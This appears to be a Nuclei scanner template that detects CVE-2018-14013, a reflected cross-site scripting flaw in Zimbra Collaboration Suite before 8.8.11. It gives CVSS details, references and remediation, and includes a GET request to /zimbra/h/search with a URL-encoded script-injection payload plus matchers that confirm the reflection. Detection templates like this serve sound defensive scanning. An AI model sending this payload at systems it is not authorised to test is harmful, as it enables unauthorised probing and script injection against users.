id: CVE-2018-14013

info:
  name: Synacor Zimbra Collaboration Suite Collaboration <8.8.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 is vulnerable to cross-site scripting via the AJAX and html web clients.
  remediation: |
    Upgrade to a version of Synacor Zimbra Collaboration Suite Collaboration that is equal to or greater than 8.8.11 to mitigate the vulnerability.
  reference:
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://bugzilla.zimbra.com/show_bug.cgi?id=109018
    - https://bugzilla.zimbra.com/show_bug.cgi?id=109017
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14013
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-14013
    cwe-id: CWE-79
    epss-score: 0.00512
    epss-percentile: 0.73939
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: synacor
    product: zimbra_collaboration_suite
  tags: cve,cve2018,xss,zimbra

http:
  - method: GET
    path:
      - "{{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200